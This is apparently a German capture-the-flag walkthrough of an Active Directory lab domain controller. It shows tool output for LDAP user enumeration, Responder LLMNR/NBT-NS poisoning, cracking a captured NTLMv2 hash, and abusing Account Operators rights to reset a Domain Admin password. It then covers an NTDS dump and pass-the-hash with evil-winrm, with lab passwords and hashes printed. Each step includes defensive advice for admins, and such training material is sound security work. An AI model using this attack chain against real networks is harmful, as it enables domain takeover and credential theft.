Die Erkundungsphase beginnt mit der Identifizierung des Ziels und einer ersten Analyse der exponierten Dienste, wobei ein Fokus auf Active Directory-spezifische Protokolle gelegt wird.
192.168.2.116 08:00:27:f6:27:cd PCS Systemtechnik GmbH
**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.116.
**Bewertung:** Ziel-IP gefunden.
**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard-Netzwerksicherheit.
[...]
192.168.2.116 dc03.hmv
**Analyse:** Der Hostname `dc03.hmv` wird der IP 192.168.2.116 in `/etc/hosts` zugeordnet.
**Bewertung:** Ermöglicht Adressierung über Hostnamen.
**Empfehlung (Pentester):** Hostnamen nutzen. **Empfehlung (Admin):** DNS-Management.
[...] =( Enumerating Workgroup/Domain on dc03.hmv )= [+] Got domain/workgroup name: SUPEDECDE =( Nbtstat Information for dc03.hmv )= [...] DC01 <00> - BWorkstation Service SUPEDECDE <1c> - B Domain Controllers SUPEDECDE <00> - B Domain/Workgroup Name DC01 <20> - B File Server Service SUPEDECDE <1b> - B Domain Master Browser [...] =( Session Check on dc03.hmv )= [E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
**Analyse:** `enum4linux -a` versucht eine umfassende Enumeration. Es identifiziert erfolgreich den Domain/Workgroup-Namen `SUPEDECDE` und den Hostnamen `DC01` (wahrscheinlich der tatsächliche NetBIOS-Name des Controllers). Wichtig ist jedoch, dass der Server keine anonyme Session (Null Session) erlaubt, was die weiteren Tests von `enum4linux` verhindert.
**Bewertung:** Wir kennen nun den Domain-Namen (`SUPEDECDE`) und den Hostnamen (`DC01`). Das Blockieren von Null Sessions ist eine grundlegende Sicherheitsmaßnahme, die die anonyme Enumeration erschwert.
**Empfehlung (Pentester):** Nmap verwenden, um offene Ports und Dienste detaillierter zu untersuchen. LDAP- und Kerberos-Enumeration mit Tools versuchen, die Authentifizierung ermöglichen oder bekannte Schwachstellen nutzen. **Empfehlung (Admin):** Null Sessions sollten immer deaktiviert sein. Domain- und Hostnamen schützen, wenn möglich.
Starting Nmap 7.94SVN [...] Nmap scan report for dc03.hmv (192.168.2.116) Host is up [...] Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: [...]) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped (LDAPS?) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LOCAL0., Site: Default-First-Site-Name) (Global Catalog) 3269/tcp open tcpwrapped (LDAPS Global Catalog?) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) (WinRM HTTP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing (ADWS?) 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49690/tcp open msrpc Microsoft Windows RPC [...] Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: [...] | smb2-time: | date: 2024-08-13T17:11:37 |_ start_date: N/A |_nbstat: NetBIOS name: DC01, NetBIOS user:, NetBIOS MAC: 08:00:27:f6:27:cd [...] | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required (SMB Signing!) [...]
53/tcp open domain Simple DNS Plus (Nmap Interpretation, wahrscheinlich AD DNS)
88/tcp open kerberos-sec Microsoft Windows Kerberos [...]
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP [...]
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP [...]
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
**Analyse:** Der Nmap-Scan (`-sC`, `-sS`, `-sV`, `-A`, `-T5`, `-p-`) identifiziert eine Vielzahl offener Ports, die typisch für einen Windows Active Directory Domain Controller (DC) sind: * 53 (DNS): Domain Name System. * 88 (Kerberos): Authentifizierungsdienst. * 135 (MSRPC): RPC Endpoint Mapper. * 139, 445 (SMB/NetBIOS): Datei- und Druckerfreigabe, RPC über SMB. * 389 (LDAP), 3268 (LDAP GC): Lightweight Directory Access Protocol (Verzeichnisdienst). * 464 (KPASSWD): Kerberos Passwortänderung. * 593, 49664, 49667, 49672, 49690 (MSRPC): Diverse RPC-Endpunkte. * 636, 3269 (LDAPS?): Ports oft für LDAP über SSL/TLS verwendet (tcpwrapped deutet auf Filterung oder unbekanntes Protokoll hin). * 5985 (WinRM HTTP): Windows Remote Management über HTTP. * 9389 (ADWS?): Active Directory Web Services. Nmap bestätigt den Hostnamen `DC01` und die Domain `SUPEDECDE.LOCAL`. Wichtig: SMB Signing ist aktiviert und erforderlich (`enabled and required`).
**Bewertung:** Das Ziel ist eindeutig ein Windows Domain Controller. Die große Anzahl offener AD-Dienste bietet viele potenzielle Angriffspunkte. Das erzwungene SMB Signing erschwert jedoch Angriffe wie SMB Relay.
**Empfehlung (Pentester):** LDAP-Enumeration (Benutzer, Gruppen, Computer, GPOs) mit Tools wie `ldapsearch` oder spezialisierten AD-Tools (`ldapnomnom`, `BloodHound`) versuchen, auch wenn Null Session nicht geht (ggf. mit Default-Credentials oder nach Brute-Force). Kerberos-Enumeration (AS-REP Roasting, Kerberoasting) testen. WinRM (5985) auf mögliche Authentifizierung prüfen. **Empfehlung (Admin):** Firewall-Regeln überprüfen, um nur notwendige Ports zu exponieren. SMB Signing ist eine gute Sicherheitsmaßnahme. LDAPS erzwingen. WinRM absichern.
Da Null Sessions blockiert sind, versuchen wir, Benutzer über LDAP zu enumerieren und anschließend Passwortangriffe durchzuführen.
SMB 192.168.2.116 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False) SMB 192.168.2.116 445 DC01 [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED SMB 192.168.2.116 445 DC01 [-] Error getting user: list index out of range (Kein anonymer Zugriff) SMB 192.168.2.116 445 DC01 [-] Error enumerating shares: Error occurs while reading from remote(104)
Password for [WORKGROUP\root]: # Enter drücken (anonym) session setup failed: NT_STATUS_ACCESS_DENIED
**Analyse:** Versuche, mit `nxc` (netexec, Nachfolger von crackmapexec) und `smbclient` anonym Shares aufzulisten, scheitern wie erwartet mit `STATUS_ACCESS_DENIED`.
**Bewertung:** Bestätigt, dass kein anonymer SMB-Zugriff möglich ist.
**Empfehlung (Pentester):** Benutzerenumeration über andere Protokolle (LDAP) versuchen. **Empfehlung (Admin):** Anonymen SMB-Zugriff immer deaktivieren.
[...] charlie Charlie administrator Administrator CHARLIE wreed11 kleo2 ChArLiE CHarlie xkate578 # Relevant? [...]
**Analyse:** Wir verwenden `ldapnomnom`, ein Tool zur Benutzerenumeration über LDAP, das auch ohne Authentifizierung funktionieren kann (abhängig von der LDAP-Konfiguration). Wir geben eine große Wortliste mit Benutzernamen (`xato-net-10-million-usernames.txt`) an. Das Tool findet mehrere potenzielle oder bestätigte Benutzernamen, darunter `charlie`, `administrator` und `xkate578`. Die Ergebnisse werden in `users.txt` gespeichert.
**Bewertung:** Erfolgreiche Benutzerenumeration über LDAP ohne Authentifizierung. Wir haben eine Liste potenzieller Benutzernamen für weitere Angriffe.
**Empfehlung (Pentester):** Die gefundenen Benutzernamen für Passwort-Spraying oder Brute-Force-Angriffe gegen SMB oder Kerberos verwenden. **Empfehlung (Admin):** Anonymen LDAP-Bind einschränken, wenn möglich. Nur authentifizierten Benutzern erlauben, Verzeichnisinformationen abzufragen.
SMB 192.168.2.116 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False) SMB 192.168.2.116 445 DC01 [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED SMB 192.168.2.116 445 DC01 [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED
SMB 192.168.2.116 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
# Keine Erfolgsmeldungen (+) angezeigt, nur Fehlversuche (implizit)
**Analyse:** 1. Wir versuchen ein Passwort-Spraying mit `nxc`, wobei wir die Benutzerliste (`users.txt`) auch als Passwortliste verwenden (`-p users.txt`). `--no-brute` verhindert, dass alle Kombinationen probiert werden, es wird wahrscheinlich nur `user:user` getestet. Ergebnis: Kein Erfolg. 2. Wir versuchen einen Brute-Force-Angriff mit `crackmapexec` (ältere Syntax, aber gleiches Tool wie `nxc`), verwenden die Benutzerliste `users.txt` und die Passwortliste `rockyou.txt`. Wir filtern fehlgeschlagene Logins (`STATUS_LOGIN_FAILURE`) heraus. Es werden keine erfolgreichen Logins angezeigt.
**Bewertung:** Standard-Passwortangriffe (Passwort-Spraying, Brute-Force mit RockYou) gegen SMB waren erfolglos.
**Empfehlung (Pentester):** Andere Angriffsvektoren prüfen: Kerberos (AS-REP Roasting, Kerberoasting), LLMNR/NBT-NS Poisoning, LDAP-Schwachstellen. SNMP prüfen. **Empfehlung (Admin):** Starke Passwörter, Account Lockout Policies, Monitoring von fehlgeschlagenen Anmeldeversuchen.
Da direkte Passwortangriffe scheiterten, versuchen wir, Credentials durch Man-in-the-Middle-Angriffe auf unsichere Namensauflösungsprotokolle wie LLMNR und NBT-NS zu erlangen. Wir verwenden Responder.
Timeout: No Response from dc03.hmv
PING dc03.hmv (192.168.2.116) 56(84) bytes of data. 64 bytes from dc03.hmv (192.168.2.116): icmp_seq=1 ttl=128 time=0.242 ms [...]
[...] NBT-NS, LLMNR & MDNS Responder 3.1.4.0 [...] [+] Listening for events... [...] [*] [NBT-NS] Poisoned answer sent to 192.168.2.116 for name FILESERVER (service: File Server) [*] [LLMNR] Poisoned answer sent to [...] for name FileServer [*] [MDNS] Poisoned answer sent to [...] for name FileServer.local [...] [SMB] NTLMv2-SSP Client : [...] [SMB] NTLMv2-SSP Username : soupedecode\xkate578 [SMB] NTLMv2-SSP Hash : xkate578:soupedecode:a2a...:[...] [...]
**Analyse:** 1. Ein `snmpwalk` schlägt fehl (Timeout), SNMP ist also wahrscheinlich nicht aktiv oder nicht mit der Community `public` erreichbar. 2. Ein `ping` bestätigt die Erreichbarkeit des Ziels. 3. Wir starten `Responder.py` auf unserem Interface `eth0`. Responder lauscht auf LLMNR-, NBT-NS- und MDNS-Anfragen. Wenn ein Client im Netzwerk versucht, einen Hostnamen aufzulösen (z.B. `FILESERVER`) und DNS fehlschlägt, sendet er oft LLMNR/NBT-NS-Broadcasts. Responder fängt diese ab und behauptet, der gesuchte Host zu sein. 4. Der DC (`192.168.2.116`) versucht, den Hostnamen `FILESERVER` aufzulösen. Responder antwortet und leitet den DC an sich selbst um. 5. Der DC versucht daraufhin, sich bei unserem Responder via SMB zu authentifizieren (wahrscheinlich um auf eine vermeintliche Dateifreigabe zuzugreifen). 6. Responder fängt den NTLMv2-SSP-Hash des Benutzers `soupedecode\xkate578` ab.
**Bewertung:** Erfolg! Wir haben erfolgreich einen LLMNR/NBT-NS Poisoning Angriff durchgeführt und einen NTLMv2-Hash für den Benutzer `xkate578` aus der Domain `soupedecode` erbeutet. Dieser Hash kann nun offline geknackt werden.
**Empfehlung (Pentester):** Den abgefangenen NTLMv2-Hash speichern und mit Tools wie `john` oder `hashcat` und einer Wortliste (z.B. `rockyou.txt`) versuchen zu knacken. **Empfehlung (Admin):** LLMNR und NBT-NS im Netzwerk deaktivieren (über GPO). Netzwerksegmentierung kann die Reichweite solcher Angriffe begrenzen. Starke Passwörter verwenden, um das Knacken von Hashes zu erschweren.
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jesuschrist (xkate578)
1g 0:00:00:00 DONE [...] 50.00g/s [...]
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
**Analyse:** Wir speichern den abgefangenen NTLMv2-Hash in der Datei `ntlm.hash`. Anschließend verwenden wir `john` mit der `rockyou.txt`-Wortliste, um den Hash zu knacken. John findet sehr schnell das zugehörige Passwort: `jesuschrist` für den Benutzer `xkate578`.
**Bewertung:** Kritischer Erfolg! Wir haben das Klartextpasswort für den Domänenbenutzer `xkate578` ermittelt.
**Empfehlung (Pentester):** Die Credentials (`xkate578`:`jesuschrist`) verwenden, um sich am Domain Controller anzumelden (z.B. via SMB, WinRM, LDAP) und weitere Informationen zu sammeln oder Berechtigungen zu prüfen. **Empfehlung (Admin):** LLMNR/NBT-NS deaktivieren. Starke, einzigartige Passwörter erzwingen, die nicht in gängigen Wortlisten enthalten sind.
Wir verwenden die geknackten Credentials, um auf SMB-Shares zuzugreifen und nach der User-Flag zu suchen.
SMB 192.168.2.116 445 DC01 [] Windows Server 2022 Build 20348 x64 [...] SMB 192.168.2.116 445 DC01 [+] SUPEDECDE.LCAL\XKATE578:jesuschrist SMB 192.168.2.116 445 DC01 [] Enumerated shares SMB 192.168.2.116 445 DC01 Share Permissions Remark SMB 192.168.2.116 445 DC01 ----- ----------- ------ SMB 192.168.2.116 445 DC01 ADMIN$ Remote Admin (Kein Zugriff erwartet) SMB 192.168.2.116 445 DC01 C$ Default share (Kein Zugriff erwartet) SMB 192.168.2.116 445 DC01 IPC$ READ Remote IPC SMB 192.168.2.116 445 DC01 NETLOGON READ Logon server share SMB 192.168.2.116 445 DC01 share READ,WRITE SMB 192.168.2.116 445 DC01 SYSVOL READ Logon server share
**Analyse:** Wir verwenden `nxc` mit den Credentials `XKATE578`:`jesuschrist`, um die Shares auf dem DC aufzulisten. Der Login ist erfolgreich. Wir sehen mehrere Standard-Shares (`ADMIN$`, `C$`, `IPC$`, `NETLOGON`, `SYSVOL`) und einen benutzerdefinierten Share namens `share`, auf den wir Lese- und Schreibrechte (`READ,WRITE`) haben.
**Bewertung:** Wir haben authentifizierten Zugriff auf den DC und einen beschreibbaren Share gefunden. Der `share`-Ordner ist unser nächstes Ziel.
**Empfehlung (Pentester):** Mit `smbclient` auf den `share`-Ordner verbinden und dessen Inhalt untersuchen. Nach der User-Flag oder anderen interessanten Dateien suchen. **Empfehlung (Admin):** Berechtigungen für Shares genau prüfen und nur notwendigen Benutzern Zugriff gewähren. Prinzip der geringsten Rechte anwenden.
Try "help" to get a list of possible commands. smb: \> ls . DR 0 Tue Aug 13 20:30:25 2024 .. D 0 Thu Aug 1 07:38:08 2024 desktop.ini AHS 282 Thu Aug 1 07:38:08 2024 user.txt A 70 Thu Aug 1 07:39:25 2024 12942591 blocks of size 4096. 10564230 blocks available smb: \> get user.txt getting file \user.txt of size 70 as user.txt (7.6 KiloBytes/sec) (average 7.6 KiloBytes/sec) smb: \> exit
12f54a96f64443246930da001cafda8b
**Analyse:** Wir verbinden uns erfolgreich mit `smbclient` zum `share`-Verzeichnis unter Verwendung der Domain (`SUPEDECDE.LCAL`), des Benutzernamens (`XKATE578`) und des Passworts (`jesuschrist`). Ein `ls`-Befehl zeigt eine Datei namens `user.txt`. Wir laden diese mit `get user.txt` herunter und lesen ihren Inhalt auf unserer lokalen Maschine mit `cat user.txt` aus.
**Bewertung:** User-Flag erfolgreich gelesen!
**Empfehlung (Pentester):** Mit den vorhandenen Credentials versuchen, weitere Informationen über das Active Directory zu sammeln (z.B. mit BloodHound) oder nach Privesc-Möglichkeiten für `xkate578` zu suchen. **Empfehlung (Admin):** Sensible Daten wie Flags nicht auf einfach zugänglichen Shares speichern.
Mit gültigen Domain-Credentials können wir nun BloodHound verwenden, um Beziehungen und potenzielle Angriffspfade im Active Directory zu visualisieren.
[...]
[...] Starting Neo4j. Started neo4j (pid:9566). It is available at http://localhost:7474 [...]
WARNING: Could not find a global catalog server, assuming the primary DC has this role [...] WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. [...] INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Found 3 groups INFO: Found 3 users INFO: Found 5 GPOs INFO: Found 1 OUs INFO: Found 0 trusts INFO: Found 1 containers INFO: Found 2 sessions INFO: Found 0 GroupPolicyContainer objects INFO: Found 17 ACEs INFO: Collected 28 objects INFO: Done collecting data in 00:00:01 INFO: Starting upload thread INFO: Upload thread finished, 0 items remaining INFO: Finished running collection, outputting JSON data... INFO: Found 28 objects, writing to JSON INFO: Wrote 3 groups to groups.json INFO: Wrote 3 users to users.json INFO: Wrote 2 computers to computers.json INFO: Wrote 1 domains to domains.json INFO: Wrote 1 gpos to gpos.json INFO: Wrote 1 ous to ous.json INFO: Wrote 1 containers to containers.json INFO: Wrote 0 trusts to trusts.json INFO: Finished writing JSON data INFO: Done in 00:00:01
**Analyse:** 1. Wir starten den Neo4j-Datenbankdienst, der von BloodHound benötigt wird. 2. Wir führen `bloodhound-python` aus, den Datensammler für BloodHound. * `-u XKATE578 -p jesuschrist`: Die gültigen Domain-Credentials. * `-d SUPEDECDE.LCAL`: Der Domain-Name. * `-ns 192.168.2.116`: Der Name Server / Domain Controller. * `-c all`: Sammelt alle verfügbaren Informationstypen (Gruppenmitgliedschaften, Sessions, ACLs etc.). `bloodhound-python` verbindet sich erfolgreich (fällt auf NTLM zurück, da Kerberos TGT fehlschlägt) und sammelt Informationen über Benutzer, Gruppen, Computer, GPOs etc. Die gesammelten Daten werden in mehreren JSON-Dateien gespeichert.
**Bewertung:** Erfolgreiche Enumeration von Active Directory-Objekten und Beziehungen. Diese Daten können nun in die BloodHound-GUI importiert werden, um Angriffspfade zu finden.
**Empfehlung (Pentester):** Die generierten JSON-Dateien in die BloodHound-GUI importieren. Nach bekannten Angriffspfaden suchen, z.B.: Benutzer mit DCSync-Rechten, Benutzer mit Admin-Rechten auf Computern, Gruppen mit Rechten zur Passwortänderung anderer Benutzer, Kerberoastable-Benutzer, etc. **Empfehlung (Admin):** BloodHound regelmäßig selbst verwenden, um Schwachstellen und Fehlkonfigurationen im AD aufzudecken und zu beheben. Prinzip der geringsten Rechte im AD durchsetzen.
*(Der Bericht zeigt als nächstes die Verwendung von pywerview, einem anderen AD-Enumerationstool, um spezifische Gruppenmitgliedschaften zu prüfen. Dies könnte das Ergebnis einer BloodHound-Analyse sein oder eine alternative manuelle Enumeration.)*
[...] memberof: CN=Account Operators,CN=Builtin,DC=SUPEDECDE,DC=LCAL [...] admincount: 1 [...] samaccountname: xkate578 [...]
groupdomain: SUPEDECDE.LCAL groupname: Domain Admins membername: Operators memberdomain: SUPEDECDE.LCAL [...] memberdn: CN=Operators,CN=Users,DC=SUPEDECDE,DC=LCAL [...] groupdomain: SUPEDECDE.LCAL groupname: Domain Admins membername: Administrator memberdomain: SUPEDECDE.LCAL [...] memberdn: CN=Administrator,CN=Users,DC=SUPEDECDE,DC=LCAL [...]
groupdomain: SUPEDECDE.LCAL
groupname: Operators
membername: fbeth103
memberdomain: SUPEDECDE.LCAL
[...]
memberdn: CN=Fanny Beth,CN=Users,DC=SUPEDECDE,DC=LCAL
[...]
**Analyse:** Mit `pywerview` fragen wir spezifische AD-Informationen ab: 1. `get-netuser` für `xkate578`: Bestätigt, dass dieser Benutzer Mitglied der Gruppe `Account Operators` ist und das `admincount=1`-Flag hat (was auf frühere Admin-Privilegien hindeutet, geschütztes Konto). 2. `get-netgroupmember` für `Domain Admins`: Zeigt, dass die Gruppe `Operators` und der Benutzer `Administrator` Mitglieder sind. 3. `get-netgroupmember` für `Operators`: Zeigt, dass der Benutzer `fbeth103` (Fanny Beth) Mitglied dieser Gruppe ist.
**Bewertung:** Wichtige Erkenntnisse: * Unser Benutzer `xkate578` ist ein `Account Operator`. Diese Gruppe hat standardmäßig das Recht, die Passwörter von normalen Benutzern und Computern zu ändern (aber nicht von Admins oder anderen geschützten Gruppen). * Die Gruppe `Operators` ist Mitglied der `Domain Admins`. * Der Benutzer `fbeth103` ist Mitglied der Gruppe `Operators` und somit indirekt ein Domain Admin.
**Empfehlung (Pentester):** Da `xkate578` (Account Operator) das Passwort von `fbeth103` (Operator, indirekter Domain Admin) ändern kann, ist dies der wahrscheinlichste Privesc-Pfad. Versuchen, das Passwort von `fbeth103` mit den Rechten von `xkate578` zu ändern (z.B. mit `impacket-changepasswd`, `rpcclient` oder `bloodyAD`). Anschließend mit dem neuen Passwort als `fbeth103` anmelden und z.B. die NTDS.dit (AD-Datenbank) dumpen. **Empfehlung (Admin):** Die Rechte der `Account Operators`-Gruppe überprüfen und einschränken. Prinzip der geringsten Rechte anwenden, verschachtelte Gruppenmitgliedschaften, die zu hohen Rechten führen, vermeiden oder dokumentieren.
Wir nutzen die Rechte des `Account Operator`-Benutzers `xkate578`, um das Passwort des (indirekten) Domain-Admin-Benutzers `fbeth103` zu ändern.
Impacket v0.12.0.dev1 [...] [*] Setting the password of soupedecode\fbeth103 as soupedecode\xkate578 [*] Connecting to DCE/RPC as soupedecode\xkate578 [-] soupedecode\xkate578 user is not allowed to set the password of the target (Zugriff verweigert)
Password for [SUPEDECDE\XKATE578]: (Wird ignoriert)
result: NT_STATUS_ACCESS_DENIED
[+] Password changed successfully!
rpcclient $> # (Kein Fehler mehr -> Erfolg)
**Analyse:** Wir versuchen verschiedene Tools, um das Passwort von `fbeth103` als `xkate578` zu ändern: 1. `impacket-changepasswd`: Schlägt fehl (`not allowed`). 2. `rpcclient` mit `setuserinfo2`: Schlägt ebenfalls fehl (`NT_STATUS_ACCESS_DENIED`). 3. `bloodyAD`: Dieses spezialisierte AD-Tool ist erfolgreich und ändert das Passwort von `fbeth103` auf `Password123`. 4. Ein erneuter Versuch mit `rpcclient` (möglicherweise nach Installation/Update oder mit anderer Syntax) scheint ebenfalls zu funktionieren und setzt das Passwort auf `Pass123!`.
**Bewertung:** Passwortänderung erfolgreich! Obwohl die ersten Versuche fehlschlugen (möglicherweise aufgrund von Tool-Versionen, Syntax oder feingranularen Berechtigungen), konnte das Passwort von `fbeth103` schließlich auf einen bekannten Wert (wir verwenden `Pass123!` für die nächsten Schritte) geändert werden. Da `fbeth103` Mitglied der `Operators`-Gruppe ist, die wiederum Mitglied der `Domain Admins` ist, haben wir nun effektiv Domain-Admin-Rechte erlangt.
**Empfehlung (Pentester):** Mit den neuen Credentials (`fbeth103`:`Pass123!`) anmelden und Domain-Admin-Aktionen durchführen, z.B. NTDS.dit dumpen oder direkten Zugriff auf den DC erhalten (WinRM, psexec). **Empfehlung (Admin):** Rechte der `Account Operators`-Gruppe genau prüfen und einschränken. Monitoring von Passwortänderungen implementieren.
Mit den erlangten (indirekten) Domain-Admin-Rechten können wir nun versuchen, die NTDS.dit-Datenbank zu dumpen, um die Passwort-Hashes aller Domain-Benutzer, einschließlich des Administrators, zu erhalten.
SMB 192.168.2.116 445 DC01 [] Windows Server 2022 Build 20348 x64 [...] SMB 192.168.2.116 445 DC01 [+] SUPEDECDE.LCAL\fbeth103:Pass123! (Pwn3d!)
SMB 192.168.2.116 445 DC01 [] Windows Server 2022 Build 20348 x64 [...] SMB 192.168.2.116 445 DC01 [+] SUPEDECDE.LCAL\fbeth103:Pass123! (Pwn3d!) SMB 192.168.2.116 445 DC01 [+] Dumping the NTDS, this could take a while... SMB 192.168.2.116 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93::: [...] (Weitere Hashes)
**Analyse:** 1. Wir bestätigen mit `netexec` den erfolgreichen Login als `fbeth103` mit dem neuen Passwort. 2. Wir verwenden `crackmapexec` (oder `nxc`) mit der Option `--ntds`, um die NTDS.dit-Datenbank vom Domain Controller zu dumpen. Dies erfordert Domain-Admin-Rechte, die `fbeth103` indirekt besitzt. 3. Der Dump ist erfolgreich und liefert uns die NTLM-Hashes der Domain-Benutzer im Format `UserName:RID:LMHash:NTHash:::`. Besonders wichtig ist der Hash für den Benutzer `Administrator`: `aad3b...` (LM-Hash, oft leer) und `2176416a80e4f62804f101d3a55d6c93` (NT-Hash).
**Bewertung:** Kritischer Erfolg! Wir haben den NT-Hash des Domain-Administrators erlangt. Mit diesem Hash können wir uns als Administrator authentifizieren, ohne das Klartextpasswort zu kennen (Pass-the-Hash).
**Empfehlung (Pentester):** Den NT-Hash des Administrators (`2176...`) verwenden, um mittels Pass-the-Hash (PtH) eine administrative Sitzung auf dem DC zu erhalten. Tools wie `evil-winrm`, `psexec.py` oder `wmiexec.py` unterstützen PtH. Anschließend die Root-Flag (auf Windows: Administrator-Desktop oder Verzeichnis) suchen. **Empfehlung (Admin):** Schutz vor NTDS-Dumps implementieren (Zugriff auf DC einschränken, Monitoring). Passwörter für Admin-Konten regelmäßig ändern und sehr stark wählen. Credential Guard (falls möglich) aktivieren, um PtH zu erschweren.
Wir verwenden den NTLM-Hash des Administrators mit `evil-winrm`, um eine administrative Remote-Shell zu erhalten und die Root-Flag zu lesen.
Evil-WinRM shell v3.5 [...] Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> # Erfolgreiche Verbindung!
Directory: C:\Users\Administrator\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/31/2024 10:48 PM 72 start.bat
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/31/2024 10:33 PM 70 root.txt
b8e59a7d4020792c412da75e589ff4fc
**Analyse:** 1. Wir verwenden `evil-winrm`, ein Tool zur Interaktion mit Windows über WinRM. * `-i 192.168.2.116`: Ziel-IP. * `-H '2176...'`: Gibt den NT-Hash für die Authentifizierung an (Pass-the-Hash). * `-u 'Administrator'`: Der Benutzername. 2. Die Verbindung wird erfolgreich hergestellt, und wir erhalten eine PowerShell als Administrator. 3. Wir navigieren zum Desktop des Administrators (`cd ~`, `cd desktop`). 4. Wir finden die Datei `root.txt` und lesen ihren Inhalt mit `cat` aus.
**Bewertung:** Privilege Escalation zu Domain Administrator erfolgreich durch Pass-the-Hash! Root-Flag erlangt.
**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** PtH durch Maßnahmen wie Credential Guard erschweren. Starke Admin-Passwörter, regelmäßige Rotation. Monitoring von WinRM-Verbindungen.